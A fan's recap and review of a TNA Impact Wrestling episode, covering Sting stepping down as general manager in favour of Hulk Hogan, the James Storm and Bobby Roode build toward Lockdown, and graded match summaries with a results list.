Here’s Dixie and great she’s crying. She talks about how Roode disrespects the company and the fans. Dixie goes on the rant about how she’s been talking to attorneys and management and she only has one option. Cue Sting because we can’t do anything in this company without holding a meeting. He says that firing Roode isn’t the answer isn’t a good idea because it means that Storm can’t get his revenge at Lockdown. The fans chant that they want revenge. Sting says the GM position isn’t working….and we go to a break.

Back with them still in the ring. Sting says that Dixie has put all of her faith into Sting and he did the best he could, but it’s not enough. At Victory Road, the company came alive and Sting can’t be both a part time GM and a part time wrestler. Due to the concussion, he has to go home for awhile and get better, and he’ll come back better. He’s going to come back as a full time wrestler. Sting steps down as GM but says he’s got the right man in mind to replace him: Hulk Hogan. Dixie cries even more but doesn’t say yes or no.

Ray is mad and is taking hostages tonight.

X-Division Title: Anthony Nese vs. Zema Ion vs. Kid Kash vs. Austin Aries

One fall to a finish. Ion tries a quick rollup but goes to the floor with the champ. Kash avoids a cross body by Nese but is thrown to the floor and is holding his ankle. Aries vs. Nese now and the champ is in trouble. Ion comes back in and Aries hits a combination DDT to Ion/Downward Spiral to Nese. Out to the floor and Aries hits the suicide dive to Ion. Ion hits the Sorensen Killer and Nese hits a moonsault plancha to take out all three guys. They bust out the Tower of Doom with Ion nearly getting killed by the powerbomb from Aries. And here’s Bully Ray to beat them all up and the match is thrown out at 4:35.

Rating: B-. Fun match but it was far more about being a collection of spots than an actual match. That was the point of it, but Aries really needs to lose the title and move up on the card. This match really did show that no one else in the division is anywhere near Aries’ level and once he gets out of it, the division is in big trouble.

Ray says that his name is in fact Bully Ray.

Mexican America has their lowrider towed by some guy from a Spike show about repossessing. He asks them trivia in order to get to keep their car. This is annoying. They only get 1/3 and lose the car. They say they’ll all win tag titles tonight and pay off the debt to keep the car.

Knockout Tag Titles: ODB/Eric Young vs. Rosita/Sarita

The wedding is April 12. Oh great. Eric and Rosita start us off but Eric tags out to ODB with no contact. She takes Rosita down and misses the Bronco Buster. Sarita comes in and doesn’t do much so it’s back to Rosita. She takes a kick in the chest and a “spear” to set up the tag to Young. He does some cartwheels and takes off his pants. The girls hit on Eric and ODB gets mad about it. ODB cleans house and hits the Bam on Rosita before asking where Eric’s ring is. He can’t produce it so she kisses him and puts Eric on top of Rosita for the pin at 4:20.

Rating: F. I hate it I hate it I hate it. I HATE this angle and we’re going to have to put up with it for the next freaking month because we need COMEDY on this show because there’s so much going on we can’t even get the TV Champion on the show already, but we need time to have Eric strip every week.

We recap Crimson and Morgan from Sunday. We cut to Crimson watching Morgan’s Direct Auto Insurance commercials and saying that he should have been in there but it was all about Morgan. Crimson says that then Morgan started dropping the ball in the ring so Crimson took out the trash on Sunday and he feels better now. He challenges Morgan to a match next week when Morgan pops in and the backstage brawl of the week begins.

Dixie doesn’t know what to do about Sting.

Hardy says Angle talked a lot of trash before the PPV and now Jeff wants him in a cage where ropes won’t matter. Joseph Park shows up and asks for any information about Abyss. Hardy doesn’t have any so Park gives him his card.

Video on Roode vs. Storm at Lockdown. This includes a retrospective of their careers in TNA, including a blink and you’ll miss it shot of CM Punk. Make that two blinks and you’ll miss it shots of Punk. Good video.

Here’s Storm in the ring to talk about right and wrong. It’s wrong that football is only 18 weeks a year. It’s wrong when two people work 40 hours a week and can’t take their kids on vacation because gas is $4.00 a gallon. It’s wrong what Roode did at the PPV so he’ll make it right at the PPV. Storm calls Roode out here right now so he can beat some right into him.

Instead he gets some guy in a suit who says his name is William Kelly and he’s Roode’s legal adviser. He has a statement from Roode which says Roode isn’t going to be around until Lockdown because that’s all he’s obligated to do and there’s an unsafe working environment. Ok now they’re flat out stealing from Smackdown. Roode suggests that Storm fight Daniels or Kaz tonight so Storm says he’ll fight both. Storm says he has a message for Roode. But the lawyer doesn’t have a pen. Instead, here’s a Last Call for the lawyer.

Angle says Hardy is crazy for wanting a rematch and is asked about Garrett surviving the five minute challenge. Garrett just happens to be walking by and Angle yells at him. There’s a three minute challenge tonight. Oh and Angle hates him.

Kurt Angle vs. Garrett Bischoff

Just a small observation: Christy Hemme can’t talk, but she looks GREAT in leather pants. This is a three minute challenge. They talk trash to start and Garrett gets shoved a few times. There’s a slap as they’re just standing there. One minute down. Garrett gets in some offense like a clothesline and flapjack plus that stupid falling Diamond Cutter that he does. Angle throws him to the floor and we have a minute to go. Garrett chills on the floor and plays keepaway. And here’s Gunner for the DQ at about 2:32.

Hardy makes the save.

The Guns are still coming back.

Tag Titles: Mexican America vs. Samoa Joe/Magnus

Mexican America still has jobs? Joe starts with Hernandez and pounds him down into the corner. Off to Magnus and the champions double team a bit, resulting in a Joe backsplash for two. SuperMex takes over on Magnus and hits a backbreaker for two. Anarquia comes in for all of two seconds before it’s back to Hernandez for a bearhug and jumping shoulder.

Hot tag brings in Joe who steps out of the way of a jumping Anarquia. Hernandez runs into the release Rock Bottom out of the corner. The Koquina Clutch puts Anarquia down but the girls distract the referee. The Repo Games guy comes back out and the referee STILL misses the tap so Hernandez breaks it up. Not that it matters as the finishing sequence from the champs pins Anarquia at 5:32.

Rating: D+. Pretty dull match here and the Repo Games guy was totally not needed. That didn’t add anything at all and I doubt more than two people in the arena had a clue who he was. I get that the Guns are coming back, but beating a bunch of teams we haven’t seen in months or teams that are thrown together isn’t going to make Magnus/Joe an interesting team to face them.

Hogan says he doesn’t know anything about being the new GM.

The Repo Games guy is back AGAIN and takes the car but has to duck a swing from Anarquia beforehand. Oh and he takes the girls who go willingly.

James Storm vs. Kazarian/Christopher Daniels

Daniels tries to jump Storm from the entrance which completely fails. Into the ring now and the heels don’t have to tag. There isn’t much to say here: they double team Storm for awhile but Storm comes back with the Last Call to Daniels to win in 3:15.

Rating: D. Whatever man. I get what they were going for here but this wasn’t interesting for the most part. Storm is still cool, but it’s a long way to get to Lockdown so he can win the title like he should have done months ago. I get that they had to have the title on Roode, but Storm has clearly been the hottest thing in the company for months. This was just a way to get Storm looking good.

Here are Sting and Dixie to do the GM thing. Sting says trust Hogan, Dixie says ok, Hogan comes out, Sting starts a Hogan chant, and we’re done.

Overall Rating: D. This was a pretty good sized step back for TNA. Let’s look at this show tonight. We had a title match ending in a run-in, we had a man defending a woman’s title, we had a three minute match ending with a run-in, we had a tag title match involving a run-in, we had a three minute handicap match. That’s not the most exciting wrestling in the world.

Then we get to the other annoying stuff: the booking of the show. There was WAY too much focus on Hogan/Sting/Dixie, but it was nowhere near as annoying as the focus on the Repo Games guy. What does that do to benefit TNA? He was in THREE SEGMENTS with Mexican America and in the end, HE DIDN’T EVEN TAKE THEIR CAR. Storm is awesome at this point but he comes off like the third most important thing on the show at best. That’s not good and this Hogan/Sting/Dixie thing isn’t ending soon. That’s not good and it’s a sign that they’re shifting focus away from what’s been working for the past few weeks.

Results
Austin Aries vs. Anthony Nese vs. Zema Ion vs. Kid Kash went to a no contest when Bully Ray interfered
Eric Young/ODB b. Rosita/Sarita – Young pinned Rosita after The Bam from ODB
Garrett Bischoff b. Kurt Angle via DQ when Gunner interfered
Samoa Joe/Magnus b. Mexican America – Middle Rope Elbow to Anarquia
James Storm b. Christopher Daniels/Kazarian – Last Call to Daniels

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